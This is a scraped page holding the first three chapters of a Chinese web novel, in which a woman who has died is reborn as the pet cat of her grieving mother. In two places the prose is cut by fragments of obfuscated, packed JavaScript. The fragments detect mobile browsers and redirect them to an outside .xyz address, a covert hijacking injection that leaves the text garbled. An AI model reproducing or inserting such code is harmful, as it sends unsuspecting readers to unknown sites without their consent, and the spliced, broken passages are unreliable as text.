《当只小猫也不错》 1. 1 乐萱缓缓睁开了眼。 咦，不对，她怎么只能看见桌腿？ 她低头一看，自己怎么毛茸茸的？她转头，也只看见一个毛茸茸的屁股。 还有四条肥美的短腿。 靠！ 她真投胎变成了猫！ 看这毛发，这颜色，她还是只身价不低的金渐层！ 她兴奋地转圈，一激动不小心咬到了自己的尾巴。 好痛。 哦，差点忘了，她现在是牙齿尖尖的小猫咪。 看来上辈子也没白死，竟然真的让她抽签中了小猫咪，还是只有家的宠物猫，她终于可以过上好吃懒做的生活了。 乐萱好奇地在家里晃悠了起来，一开始还不习惯用四条腿走路，不过可能是有了肌肉记忆，过一会儿就变得熟练，在家里跑起酷来。 要不说还是当猫好呢，让房子显得很大，跑了两圈下来气喘吁吁的。 乐萱想找个镜子照一照，她现在是不是有圆圆的脸蛋，宝石绿的眼睛，自带混血美瞳，再也不用等某宝大促扣扣搜搜地囤一堆日抛美瞳，还得挑着场合戴。 但是客厅里没有全身镜，卧室门也关着。 乐萱开始好奇她的主人是男还是女。 家里看起来挺干净的，大概率是个女孩子？ 不过这家里看起来太空了，男生也是有可能的，男人东西少一点。 她妈妈以前就老抱怨她把家里当菜鸟驿站，总是“威胁”她迟早有一天把她那堆破烂全扔了。 可陈女士只是刀子嘴，虽然不是很情愿，但每次下班还是会帮她带回快递，只是不忘吐槽她：“你是去上班还是去参加变装秀？” 顺便会问一句：“每天这么买工资够花吗？” 乐萱说够用之后，她还会摆出一副“我可没说要资助你”的表情。 陈女士只是嘴硬而已。她偷偷给乐萱攒了一保险柜的金子，每年攒一点，说要给她当嫁妆。 可惜她看不见她嫁人了。 因为她死了。 她怎么就死了呢！ 可怜的陈美玲女士，四十岁丧夫，五十岁又没了女儿，小老太平时没什么爱好，没了她平时在家里吵吵闹闹，该有多无聊。 她怎么能死呢...... 她嗝屁之前，陈美玲女士说，让她去那边找爸爸，让她下辈子不要再生病了。 到那边之后，她找了好久都没找到爸爸，钱还被骗光，身上没有一张天地银行的票子。 乐萱痛哭。 怎么死人也这么多，找个人都好难。 她只能使用了一次托梦机会，一共十分钟，她就嚎啕大哭了五分钟。 妈，做人不容易，做鬼也好难。 第二天她就收到了陈美玲女士送来的钱，好多好多，多到不知道该怎么挥霍。 顺便还收到了陈女士捎来的话：“李乐萱，你这孩子怎么还是这么爱哭，没出息，没钱了你来说一声就成，我是你妈，难道还能怕你？” “还有啊，你喜欢那明星，叫啥来着......？塌房了，我就不给你烧那个啥，周边？怪晦气的。” 乐萱哭得更凶了。 这个消息一点也不好。 陈女士的嘴还是这么直接。 可是陈女士，托梦机会只有三次而已。 而且她人已经没了，还怕什么晦气。 乐萱想她想得有点难受，感觉眼睛变得湿润。 她惊奇地发现，原来猫猫真的会掉眼泪诶！ 乐萱如她的名字，是个挺乐观的人，当猫也要做积极的猫。她马上给自己打气，陈女士就给她布置了两个任务，第一个任务找爸爸失败了，第二个任务，不要生病，她要好好完成。 她看看自己的四肢和肚皮，duangduang的，有些许超重。猫猫太胖了对心脏不好，她得减肥。 先起来再跑两圈。 她站起来，伸了个懒腰，听见“噗”的一声。 她一不小心放了个猫屁诶。 想拉粑了。 厕所在哪，不，猫砂盆在哪里？ 乐萱默默念着猫砂盆呢猫砂盆呢，鼻子就跟导航一样，自动追踪到了猫砂盆的位置，冲了进去。 猫砂盆里干干净净的，被及时清理过，乐萱更加确信自己的主人是个女孩儿。 猫砂甚至还是奶香味儿。 乐萱屁股一撅，成功地完成了猫生第一拉。 好臭好臭，赶紧埋上。 乐萱疯狂地刨猫砂，直到堆成一座小山才悠哉悠哉地走出猫砂盆。 下一秒她又开始难受。 不能洗手，好嫌弃自己。 她竟然开始不受控制地舔起了爪，她试图放下爪，但根本停不下来。 算了，认命吧，她现在是小猫咪，用这种方式清理自己是天性。 她啃了两口猫粮，想到自己要减肥，便控制住了食欲，又在屋里晃悠了起来。 乐萱看见窗边矮桌上有一束百合，猫毛炸起。 毒！此物有毒！ 乐萱上辈子虽然没养过猫，但也是资深的云养猫用户，知道百合对猫有毒。 而且要不是她死了，她也会养只小猫，之前不养是陈女士严词拒绝，乐萱本来想先斩后奏的，可没来得及做就噶了。 看来这个主人是个新手。 主人给自己准备的饭碗和水碗都洗得干干净净，猫砂盆也是，她还有自己漂亮的小窝，主人肯定很爱她，所以她相信主人只是没被科普到这一点。 只能她自己动手了。 她跳上矮桌，屏住呼吸，想要把花瓶推到地上摔碎。 行动之前，她犹豫了一下。 主人应该不会揍她吧？她想，这样负责的主人，就算生气肯定也不会把她扔出去的。 小猫，调皮是天性。 当过苦命人，当只喵还不能任性一点？ 挨骂总被丢了小命强。 一不做二不休，乐萱猛地一推，花瓶勉强动了一点。 果然，小猫咪长得再胖也只是小猫咪而已，力气不够，次数来凑。 在她的不懈努力之后，花瓶终于掉在地上粉身碎骨，结束了它短暂而美丽的一生。 而乐萱，这只肇事猫，赶紧逃离现场，远离“毒物”。 对不起了小百合，虽然你是我当人时候最喜欢的花，但谁叫我现在是只猫呢，投次胎不容易保住猫命要紧。 乐萱钻回了小窝，开始睡觉。 睡了不知道多久后，又开始玩地上的小球，应该是主人准备的。 这一天，饭也吃了，觉也睡了，破坏也搞了，还没天黑。 神秘的主人也还没回来。 好无聊。 原来当猫也没想象中的好。 难道她天生就是当牛马的料？ 她无聊到在地上打滚。 突然有钥匙开门的声音，她马上站了起来。 “二宝！二宝！” 二......宝？ 她叫二宝？ 拜托，她可是高贵的金渐层诶，怎么能叫二宝这么朴素的名字？ 而且这家里也没见着大宝啊。 乐萱摇着尾巴小跑过去。 她先看见主人的鞋，这双鞋！陈女士也有一双一样的，是母亲节的时候乐萱送给她的。 “二宝，今天在家里有听话吗？” 这声音......？ 乐萱扬起猫猫头，愣住。 这不就是陈美玲女士，李乐萱的妈妈吗！！ 第一次从这个角度看陈女士，五官有点变形，还有几层下巴，但这就是她的妈咪没错！！！ 陈女士左手提着袋子，右手抱着一束鲜花，乐萱看了下，这束花没毒，安全。 惊讶之后，她超级开心，她说：“妈，妈！是我！我是乐萱啊！” 可她忘了她现在是一只猫。 从陈女士的角度来看，她现在正疯狂喵喵叫，尾巴快摇出花来，还在地上打滚转圈，热情得反常。 陈女士感到奇怪：“你今天怎么知道来迎接我了，是不是知道我给你买了新猫粮？” “还有零食。” 乐萱终于知道，为什么一开始听见她的声音，只是觉得莫名熟悉，但没有立马听出来是陈女士。 因为她是夹着声音对猫咪说话的！ 是谁曾经说，她要是敢养猫就把她俩都扔出去的？ 不过她养只田园猫来当个伴不就行了，为什么要买这么贵的金渐层。 算了，陈女士现在不用给败家女儿兜底，钱爱咋花就咋花，开心就好。 陈女士说着放下花，往她的碗里倒了新买的猫粮。 “之前不懂，在超市里随便买的猫粮，昨天刷到说是毒猫粮，你吃了没事吧？” 乐萱：喵喵喵（没那束百合毒） 陈女士：刚刚在宠物店买这个猫粮，四十多一斤，还挺贵的呢，不过你一只猫也吃不了多少，健康点好。 乐萱：喵喵喵喵喵（你都会刷短视频里怎么不在直播间里买，能便宜到三十多一斤呢。） 陈女士摸她脑袋：吃吧，多吃点。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15094624|163695||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 乐萱埋头吃了两口，想起什么，就停了下来。 她是只要减肥的喵啊，而且才刚刚吃过晚饭的，不能再吃了。 要不说老人家容易养出猪咪呢，这一大碗猫粮跟喂猪一样。 乐萱想起一件事，这不是她们之前的家啊，陈女士搬家了？ 妈妈走到了柜子前，乐萱跟在她脚边：喵喵喵喵喵（妈你怎么搬家了？） 陈女士看她一眼：“二宝你今天怎么这么多话，之前跟只哑巴猫一样。” 乐萱叹了口气，算了，别指望人能听懂猫语。 能投胎成妈妈的猫，已经是再幸福不过了。 她贴在陈女士腿边蹭了蹭，送了她黑裤子许多猫毛。 有妈的孩子像块宝。 不过，陈女士居然这么快养了只猫！ 乐萱抬头想和她“理论”一番，却看见陈女士从袋子里拿出来一个相框，放在了柜子上，再把新买的那束花摆在了旁边。 “你说那照片不好看，妈今天给你换了。” 乐萱的眼睛又要掉小珍珠了，连喵喵叫都没了气势。 陈女士把照片换成了她花高价去某马体拍的证件照，照片里她笑得灿烂，正是最好的年纪。 当时她妈还吐槽说，这照片p得她都认不出来是自己闺女。 可她还是用了女儿认为最好看的照片。 呜呜呜好想大哭一场，可她只能发出喵喵声。 世上只有妈妈好。 陈女士转头的时候，看见了惨死的百合，突然发出咆哮—— “二宝！！！” “你给我过来！！！” 乐萱赶紧跑。 果然，这才是陈女士的本体，夹子音都是伪装。 不知道是不是她太笨重的原因，没跑多久就被陈女士抓了回来，把她带回到“犯罪现场”。 陈女士：看看你干的好事！ 乐萱：喵喵喵（妈妈酱我真的不是故意滴） 陈女士：你看你的表情，一点都不知道自己犯错了！ 乐萱：喵喵喵喵喵（好吧我确实是故意的，但它会害我猫命啊母亲大人。） 陈女士：今天不给你吃零食了。 乐萱：喵喵喵喵喵（正好减肥了嘿嘿） 陈女士叹了口气，开始清理现场，那束“毒物”终于被清了出去。 乐萱松了口气，可转瞬又鼻酸了。 妈妈不喜欢百合，不会主动买百合的。 所以妈妈是给她买的。 乐萱不顾陈女士正在生气，贴了上去疯狂地蹭她。 妈妈，妈妈，好爱你呀妈妈。 陈女士看见她这样，眼神一软，拉起她的爪子来检查：“有没有受伤？” 乐萱：喵喵喵（没有，我跑得可快了。） 陈女士：犯了错还知道讨好人，怎么跟个小孩一样。 她看见陈女士眼红了，转过去偷偷抹了把眼泪。 陈女士晚饭就煮了碗清汤寡水的面，乐萱：喵喵喵喵喵（你就吃这个怎么行，以前我们两个都是三菜一汤的。） 陈女士推开她的猫脑袋：“你不能吃这个。” 乐萱一次次地凑过去，又一次次地被推开。 陈女士：“自己碗里的不吃，就想吃人碗里的。” 吃完饭后，陈女士打开电视，乐萱靠着她，一晚上打了无数个哈欠。 她妈还是这么爱看家庭伦理剧，看了三集，主角一家就吵了三集。 时间走到十点，陈女士该睡觉了。 乐萱正睡得迷迷糊糊，感觉自己被抱了起来。 陈女士拿着张湿巾开始给她擦脚，擦脸，擦耳朵。 这个出发点是好的，但是能不能别拿擦过脚的湿巾再擦脸，顺序弄反了啦陈女士，她可是只爱干净的猫妹妹！ 她嗷呜了一声。 “你还不乐意呢，外婆给你擦干净点，当只漂亮的小猫不好？” 陈女士开始用湿巾暴力揉搓，这手法像极了给小时候的她洗头洗澡，一趟洗下来跟被打了一般，全身都是红印。 现在没有小乐萱给她发挥，开始祸害猫猫头了。 乐萱又不满地叫了一声。 陈女士自言自语道：“我为什么是你外婆而不是妈呢，因为外婆这辈子只会有一个女儿，所以外婆只能是你的外婆。” 这话听起来怪怪的，但乐萱又泪目了。 陈女士你是怎么知道戳人又戳喵的。 陈女士：“你怎么还不高兴？外婆也挺好啊，外婆也是家人，不会丢下你的。” 2. 2 好吧，外婆就外婆，只要陈女士不嫌超级加辈就行。 帮她打理完，陈女士就进了卧室，门被关上，她要独自一猫睡在这空荡荡的客厅里。 乐萱在卧室门口惨叫几声：喵喵喵（妈妈人家想和你一起睡。） 陈女士在里面大声回应她：“二宝，别吵了，快睡觉。” 乐萱撅了下嘴，勉强答应了她。 她知道陈女士肯定不会允许她的卧室里出现猫毛的。 当了猫之后乐萱才知道原来夜晚可以这么漫长，白天睡久了，晚上眼睛都发光，而且她根本控制不了自己的爪子，这个也想刨两下，那个也想抓一抓。 好不容易扛到了早上七点，陈女士该起床了。 可到了七点半，还不见陈女士推门走出来。 乐萱有点慌。 她妈妈十几年如一日的十点睡七点起，除了特殊情况。 难道是身体不舒服？ 乐萱开始疯狂挠门：喵喵喵喵喵！（妈你怎么了！） 喵喵喵喵喵（妈你快醒醒啊！） 一分钟后，陈女士着装整齐地打开门，一人一猫大眼瞪小眼。 乐萱松了口气，没事就好。 所以陈女士现在是会享受生活开始睡懒觉了？ 挺好。 陈女士：“你大早上这么亢奋呢？是饿了么？” 乐萱：喵喵喵喵喵（不，我是美团，我穿着黄衣服。） 如果是以前，她脑袋上肯定会挨一巴掌。可惜陈女士现在听不懂她用喵语玩梗，径直走向猫碗，看见还有剩下的猫粮：“你这不也还没吃完吗。” 乐萱：喵喵喵喵喵（减肥第一天，很成功吧！） 陈女士准备把碗里的猫粮倒掉，乐萱伸出爪子来按住她：喵喵喵（这还能吃呢，多浪费。） 陈女士：“放了一晚上不新鲜了，外婆给你倒新的啊。” 她妈妈还是这样，明明自己吃过很多剩菜，却总是严格把控她的饮食。 给她倒好猫粮后，陈女士就去洗漱了，伴随着卫生间里的水声，乐萱开始享用她的早餐。 当只猫还挺好的，不用早起洗漱，也不用思考每顿吃什么，还不怎么洗澡，舔舔毛晒晒太阳就香喷喷的。 尤其是当妈妈的小猫，格外幸福。 陈女士再次从卫生间里出来的时候，她凌乱的头发已经被梳得一丝不苟。她边戴眼镜边看时间，神色凝重。 嘿，有早课要迟到了吧。 陈女士是一名高中数学老师，还是教研组长。平时的打扮也很符合大人眼里标准的老师形象。然而就算家里有这样一位严师，乐萱的数学成绩还是经常不及格。 后来快高考，陈女士每晚给她补习，那段时间打破了她十点睡的铁律，总算是让乐萱高考数学分数勉强看得过去，考入了对她来说不错的学校。 可就算是那段时间，陈女士都没有晚起过。 陈女士穿好鞋，拿着包，留下一句“二宝你在家乖乖的”就匆匆出门了。 不过两分钟后，又响起钥匙看门的窸窣声。 乐萱竖起耳朵，觉得稀奇，陈女士也有忘带东西的时候？ 门打开，陈女士直直冲向她，在她还没反应过来的时候，就捏着她的大脸盘子，从她眼睛上抠下来两坨新鲜的眼屎。 陈女士松了口气，小声念着：“真是忍不了。” 这回是真走了。 乐萱想笑，不愧是她妈妈，依旧是那个终极洁癖加强迫症的陈美玲女士。 乐萱跑到窗边，看着她的背影变成小小一个，有点心酸。 早知道她就许愿投胎成一条小狗了，哦不，大狗，可以跟着陈女士出门保护她。 要是有哪个老流氓盯上她怎么办？ 可是，如果变成狗，特别是大狗，那就更不可能被陈女士领回家了，养狗会更费心一点，以她的洁癖程度，养只猫已经是极限。 陈女士去上班了，她又要开启猫生无聊的一天。 不过明天就好了，明天就到周末，陈女士现在带高一，还能拥有完整的周末。 乐萱在屋里散步，猛然发现陈女士的卧室门没有关紧。 好奇心驱使她停下脚步。 要不，进去看看？ 可是她这飘飞的毛肯定会在房间里留下痕迹。 不管了，她现在是只小猫，猫猫哪里懂那么多规矩。 她用小脑袋顶开卧室门。 妈妈的房间里依旧是淡淡檀香味，被子整齐地铺在床上，地板亮得反光，乐萱已经在地板上看见了掉落的猫毛。 她刨开衣柜门，悄悄钻进去，在陈女士的衣服上趴了一会儿。 妈妈的味道让她安心，不知不觉就睡着了，再醒来的时候，身下那件黑色外套已经变成了毛衣。 乐萱又跳上床。 眼神转到床头柜的时候，她一愣。 柜子上摆着水杯和安眠药。 陈女士以前睡眠还算不错的。 所以她晚起是因为...... 乐萱一下子好难过。 李乐萱，你要是没死的话该多好。 * 周六一大早，陈女士就买了好多菜回来。 乐萱围在她脚边转：喵喵喵（家里要来客人吗？） 陈女士：“看你馋的，有你的份，我买了牛肉，鸡胸肉还有虾，等下煮给你吃。” 陈女士朋友不多，最好的周阿姨周末要带孙子出门玩儿，所以大概不会是她。 那就只能是亲戚了。 陈女士先将她的那份分出来煮好，倒在她的碗里，拍拍她的小脑袋：“吃吧。” 乐萱：喵喵喵（能加点盐吗？） 陈女士：“这是肉肉，新鲜肉煮出来的，猫粮可比不上。” 乐萱：喵喵喵（可是好寡淡啊。） 陈女士见她半天没动嘴，摇了摇头：“这孩子，没吃过好东西。” 她走回厨房忙活。 乐萱看着眼前这盘肉，没油没盐的，减肥餐都没这么吓人。 她半信半疑地尝了一口。 好吃！ 猫猫的味觉真奇怪。 她吃得正香的时候，有人敲门。 “来了！” 陈女士过去开门，乐萱伸着小脑袋看来的人是谁。 是大姨和小姨。 大姨还带着她的孙子，魔鬼级别的熊孩子，一进来看见有猫便张牙舞爪地扑过来，想要抓她的尾巴。 “猫咪诶！” 乐萱尾巴一甩直接走开。 哼，才不惯着他。 小姨笑盈盈的：“姐，知道你想换个环境，但你搬家好歹告诉我们一声我们好帮你呀。” 大姨在屋里转悠一圈：“你这房子还可以啊。” 她看见蹲在角落的乐萱，皱了下眉：“怎么还养了只猫。” 陈女士把菜端上来，不语。 大姨不依不饶，继续追着陈女士说：“养猫没意思，又养不熟又掉毛，身上肯定还有虫。你要是真想养宠物解闷，还不如养只狗，狗亲人。” 陈女士头也不抬地反驳：“你没养过怎么知道养不熟？这猫现在很亲我。” 大姨“呲”了一声，表示不信。 乐萱生气，她偏要证明给大姨看。 她走到陈女士身边，蹭她，对她翻肚皮打滚，陈女士笑着摸她的头，乐萱亲昵地蹭她的掌心。 大姨上前：“让我也摸一下。” 乐萱立马起身逃跑。 大姨尴尬地站在原地。 乐萱窃喜，看吧，她不仅养得熟，还只亲一人。 她看见陈女士偷笑一下。 乐萱骄傲，咱也算是给陈女士长脸了。 乐萱最不喜欢的就是大姨，她重男亲女，曾经说陈女士生了个赔钱玩意儿，让她再生个儿子。 她还嘴碎没分寸感，更是把各种奇葩的相亲对象往她这里塞。 一听她开口说话乐萱就想翻白眼。 小姨：“这只猫还挺漂亮的，有这小家伙陪你挺好的。” 大姨：“宠物再好也只是畜牲，不管事儿，要我说老二还是得找个男人过日子才行。” 乐萱站起来，扬起猫猫头来骂她：喵喵喵喵喵（你找的男人好！出轨又pc，没本事又馋，老不死的丑东西。） 大姨低头看她：“这猫叽叽咕咕说啥呢？” 陈女士阴阳怪气：“夸你呢，说你说的对。” 大姨：“这养猫又贵，而且生病了咋办？” 陈女士：“送医院，花钱治呗，还能让她死了不成？” 乐萱：陈女士你又开始散发你淡淡的幽默感了。 陈女士低头，默默且很小声地说了一句：“医院我还去的少了么。” 但大家都听见了。 小姨赶紧岔开话题：“姐你今天做的这个红烧肉看起来不错。” 陈女士：“拿碗吃饭吧。” 小姨进厨房拿了三个大碗，一个小碗，小碗是给熊孩子准备的。 陈女士瞟了一眼，默不作声地去厨房多拿了一副碗筷。 粉色的，乐萱的专属碗。 趴在地上的乐萱心软软的，桌上的那道红烧肉和番茄牛腩都是她爱吃的。 大姨：“这哪还有人呢？” 陈女士没回答， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15094625|163695||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是招呼她们快吃菜。 小姨看出来了是怎么回事，默默地刨着饭，不说话。 大姨看不下去：“美玲，乐萱已经走了，你这是在干什么。” 陈女士夹菜，面不改色：“我知道啊。” 大姨：“你不能一辈子都过不去吧。” 陈女士淡淡的态度让大姨窝火，她干脆放下筷子不吃了。 乐萱见事态不妙，赶紧跳上空着的那把椅子。 她看见了自己的专属碗，依旧亮亮的，被妈妈保存得很好。 大姨：“猫怎么上来了！快让她下去啊，毛掉到菜里面还怎么吃？” 陈女士挑了块红烧肉给她：“你的口水也没少喷到菜里。” 乐萱好想爆笑，她妈现在怎么越发地会怼人了。 小姨打圆场：“大姐，你也少说两句吧，这猫乖乖坐在这椅子上，没影响着谁。” 小猫乐萱确实对她们吃饭毫无影响，不过某个熊孩子就不一定了。 大姨的孙子，平平，趁大人说话的时候，直接把手伸进了番茄鸡蛋汤里，手动搅拌了一下，还咯咯咯地笑。 大姨尖叫，连忙把孙子的手拉出来，不过一句责备和教育都没有，反而担忧地问：“平平，手没烫着吧？” 乐萱：...... 什么太子爷如此金贵，那汤已经晾了多久了，还能烫着，蛋白都没这么脆弱。 大姨给他擦完，让他去一边玩儿。 他踢腿下椅，看着乐萱笑，乐萱瞬间有种不好的预感。 果然，他一个伸手，直接将乐萱从椅子上扯下来摔在地上。 乐萱惨叫一声。 其实不痛，但这好像是猫身下意识的反应。 他继续追了上来，乐萱被他踩了一脚，转头给他咬了一口。 其实没真咬，只是轻轻碰了一下，吓他而已。 “你在干什么！！！”陈女士暴怒，向这边冲过来。 乐萱还以为陈女士觉得她又闯猫祸了，要过来收拾她，她躲在了窗帘后面。 谁知，她被轻轻地抱了起来，还被摸了摸头。 陈女士抱着她走向那小屁孩：“你干什么，你为什么欺负她？” 大姨正在检查臭小孩有没有被咬伤。 臭小孩被陈女士凶了之后，嚎啕大哭。 “他还小，而且就一只猫而已，你发什么脾气，它还差点把平平咬伤呢！” 陈女士脸色黑沉：“他不去又拉又扯的，二宝会主动攻击他吗？教不好孩子就别带出来。” 乐萱这个时候好想吐舌做鬼脸，贱兮兮的表情：“看吧，我妈才不惯着你们。” 大姨一听这话，立马变了脸，指着陈女士，口无遮拦：“你教得好，你教得好！能怎么着，还不是没了，人没了有啥用？” 靠！ 这死老太婆！ 她居然说出这么歹毒的话！ 要不是被妈妈抱着，她恨不得上去抓烂她的脸。 她是病死的！病死的，陈女士已经够伤心了，死老太婆还往她心口插刀子。 这到底是不是亲姐妹啊。 小姨：“大姐你在说什么话！！” 陈女士将她放了下来，坐在椅子上，像是没了力气。 “你们走吧。”她叹了口气，“从小到大，我什么都让着你们，现在我不想再让了。你们有家有伴儿的，我就只有这一只猫了，所以她对我而言，就不只是一只猫，我不会眼睁睁看着她被欺负。” 乐萱正在搞破坏，听见陈女士的话，停下了动作。 又要哭了怎么办。 陈女士是家中的老二，就是三个女儿中最不受宠的那个，从小到大连吃鸡腿都得让着。 乐萱的猫猫心好痛。 老天爷，你真的不长眼，凭什么让陈女士这么苦。 为什么偏偏让勤恳又善良的她妈妈没了女儿。 小姨有点泪目，拍拍陈女士的肩膀：“姐，我过几天再来看你。” 大姨没说话，气鼓鼓地走到了沙发边拿她的外套，却发出尖锐爆鸣声。 “我新买的羽绒服，商场里买的牌子货呢！怎么被抓成这样！！” 大姨的脸都被气绿了，想要揍乐萱，被陈女士拦了下来：“多少钱，我赔你。” 最后这件事就以陈女士掏钱包收尾了。 等她们都走了之后，乐萱以为陈女士会骂她两句，没想到她居然说：“你还挺会挑人衣服抓呢，你是不是能听懂人话？” 乐萱：喵喵喵喵喵（我这算轻的，我恨不得拿喵喵拳揍她！） 陈女士掏出一把指甲刀来：“不过指甲还是得剪的。” 3. 3 乐萱该怎么告诉她，自己真的能听得懂人话呢，喵得声嘶力竭了陈女士还以为她在撒娇呢。 她能听懂陈女士的话，陈女士却听不懂猫语，单方面的沟通，这世界上还有比这更痛苦的事吗。 不过听不懂归听不懂，也不影响她被陈女士养得肥肥壮壮的。 陈女士：“你今天剪指甲还挺听话的。” 乐萱：喵喵喵（那当然，我是三好猫咪。） 睡前还是昨晚上那套流程，其实乐萱很想告诉她，自己已经把爪和毛收拾得干干净净的，不用每天都给她做spa。 不过想想，她妈妈就这点爱好了，随她去吧。 擦完后，陈女士突然拿出一条红围巾，戴在她的脖子上。 “这不马上要过年了吗，外婆给你织了条红围巾。”陈女士帮她调整了围巾，自我欣赏着她的作品，“合适，好看。” 好看是好看，就是有点勒，妈。 陈女士去睡觉了，乐萱用爪子将围巾刨松了一点。 真好，又能自由呼吸了。 第二天，乐萱还在睡懒觉的时候，家里又来了位客人。 又是谁啊？大周末的也不让陈女士有点个人空间。 乐萱慢悠悠地迈着猫步走过去瞧，这不看不知道，一看可是着实愣在原地。 裴昭，他怎么会来？都三年没联系了。 乐萱睁着猫眼使劲瞧他，突然有点生气。 臭男人，几年过去，他还跟当初一样意气风发，而她却死了。 这个世界到底公平吗？ 他把手上提的东西放下：“阿姨，我刚回国不久，想着今天是周末，就来看看您。” 陈女士连忙招呼他喝水：“来就来，还带什么东西，客气了。” 乐萱看了眼他拿来的礼盒，牛奶、阿胶糕、蜂蜜、燕窝、护肤品.......还有几样洋货和鲜花。 裴昭，你这阵仗是来拜访还是来见家长的啊？ 可惜裴昭啊，你带的那些东西，没一样是陈女士喜欢的，估计放到过期她也不会吃。 裴昭突然蹲了下来，摸了摸她的头：“阿姨，你养了只猫呀。” 陈女士又招呼他吃车厘子：“对。她没见过你，才一直盯着你看，估计是觉得稀奇。” 乐萱：喵喵喵（怎么没见过？） 不仅见过，还坦诚相见过呢。 裴昭看着她的表情忽然变得落寞，笑得苦涩：“萱萱以前老是闹着想养猫。” 乐萱：喵喵喵喵喵（裴昭，让你摸我的头已经够给你面子了，别对着我笑得这么难看，还不如哭呢。） 有些话不该说。 裴昭走到了她的照片前，认真地看了一会儿，用大拇指轻轻地摸了摸她的脸。 乐萱在旁边看着：你别把我的脸摸花了。 可惜裴昭听不懂，他甚至开始流眼泪。 他一哭起来，跟水龙头爆了似的，把陈女士吓了一大跳，连忙递上纸巾。 陈女士：“这孩子，哭啥呢，阿姨都没哭。” “小裴，别哭了，等下留下来吃午饭。” 说实话乐萱还是第一次看见裴昭哭成这个样子，印象中他是个超级注意形象的臭屁男，现在却哭得五官扭曲鼻涕乱飞，要不是她现在够不着他，她真想亲自动手给他洗把脸。 乐萱：喵喵喵（他哪还用吃午饭，眼泪就能把他喂饱。） 眼看着他就快哭晕过去，陈女士赶紧把他扶到沙发上，安慰他。 “小裴啊，乐萱也不喜欢我们哭哭啼啼的，快把眼泪收着。” 裴昭，你知道陈女士有多么的不会安慰人吗？你一大高个小伙，还要陈女士绞尽脑汁地安慰你，别虐待老人了好吗。 乐萱：喵喵喵（你还是笑吧，虽然笑得难看，总比哭得要命强。） 而且她不是在这儿吗，死是死了，不过现在当小猫也很开心哪。 别把她福气哭没了。 裴昭看见她走到脚边，将她抱了起来。 乐萱蹬着腿反抗：喵喵喵喵喵（你干什么啊，我们已经分手了！保持距离！） 她的指甲一不小心刮到了裴昭的手，留下很浅的血痕。 陈女士立马给他消毒：“不好意思啊小裴，我昨晚才给她剪过指甲，她认生，有点激动。” 裴昭：“没关系阿姨。” 陈女士果然开始打探他的近况：“小裴，你已经满二十六了吧？” 裴昭点头，还带着哭腔：“是的，阿姨。” 陈女士：“谈朋友了吗？” 裴昭摇头：“没呢。” 陈女士：“遇见合适的可以相处一下，年纪轻轻的别只顾着工作。” 乐萱好想对陈女士说，你瞎操心什么，人家又不是因为忘不掉我才不谈恋爱的。 她和裴昭是和平分手，原因很简单，大学毕业，裴昭要去国外读研，而乐萱接受不了异国恋，便提出了分手。 虽然是和平分手吧，但毕竟不是因为不爱了才分开，所以乐萱当时放下狠话：“我们这辈子别再见了。” 她怕旧情复燃。 没想到真被她说中了，再见已是她的下辈子。 她这死嘴。 其实凭心而论，裴昭真的还不错，长得标志，家庭也好，谈恋爱的时候温柔有耐心，没什么不良嗜好。 两个人是高中同学，大学考在了同一城市，不同的是他在头部985，而她只是个普通一本。 他们两个高中的时候交集并不多。是大学时的一场同学聚会，裴昭不好好吃饭，光顾着看她，这一来二去地就看对眼，天雷勾地火，缠绵又悱恻。 夸归夸，她还是想吐槽裴昭几句。 他有时候脑袋真的太木了，把乐萱气得想爆锤他。 虽然事后他总是会坚持不懈地用各种笨拙的方式哄到她开心为止。 他不太会说情话，总是用行动来代替。 包括她提出分手之后，他没有反复追问为什么，而是堵了她三天，试图给出他理想中的解决方案。 “我知道你很讨厌异国恋，但是我可以经常飞回来，我又不是没这个钱。” “我保证会天天给你打视频。” “我毕业后也不会留在国外的，会回国工作。” 乐萱觉得这些提议都很空洞，人不在身边，就是会有落差。 他甚至提出了要出钱带她一起去留学。 天真。 他就算再有钱，也是他家里的钱，她肯定不能接受。 而且留学根本就不在她的计划里，她要过自己的生活。 在她家楼下，乐萱最后抱了抱他，轻声说：“裴昭，人生这么长，我们总会忘掉的。” 那个时候谁能想到，原来她的人生一点也不长，短到五只手就能数得清。 也没料到，会以这种方式让裴昭再次想起她。 分手那晚做了最后的道别，回到家后迎接她的是香喷喷的饭菜。 乐萱：“今天怎么这么丰盛？” 陈女士不语，只是招呼她吃饭。 吃过饭后，她坐在沙发上追综艺，笑得四仰八叉的。陈女士在旁边，看似在追剧，实际上时不时地看着她，神色担忧，欲言又止。 乐萱：“妈，你想说什么就说呗。” 陈女士：“真没事吗？” 乐萱：“分个手而已，有啥大不了的。” 陈女士不解：“就因为他出国，你们就要分手？” 乐萱知道她的意思，她是想说，裴昭只是出国了，又不是出轨了，何必要分手。 但乐萱就是不能接受看不到又摸不着的感情，时间长了都会淡化且产生矛盾，如同盐白开，看起来寡淡，喝下去眉头紧皱。 乐萱把头靠在她的肩膀上：“你不懂，我是个高需求宝宝。” 陈女士皱眉：“什么是高需求宝宝？” 乐萱：“通俗来讲呢，就是粘人，依赖性强。” 陈女士笑了：“高需求倒是真的，整天张口闭口就是‘妈，妈！’，不过宝宝就算了，多大人了还宝宝。” 乐萱继续看综艺，眼看着时间直逼十点，陈女士终于憋不住说出了那句话：“你要是想去留学，妈也支持你。” 乐萱愣住：“你这是干嘛。” 陈女士：“你不用担心我是一个人，我身体好着呢。” 乐萱开玩笑地说：“你知道留学要多少钱吗？” 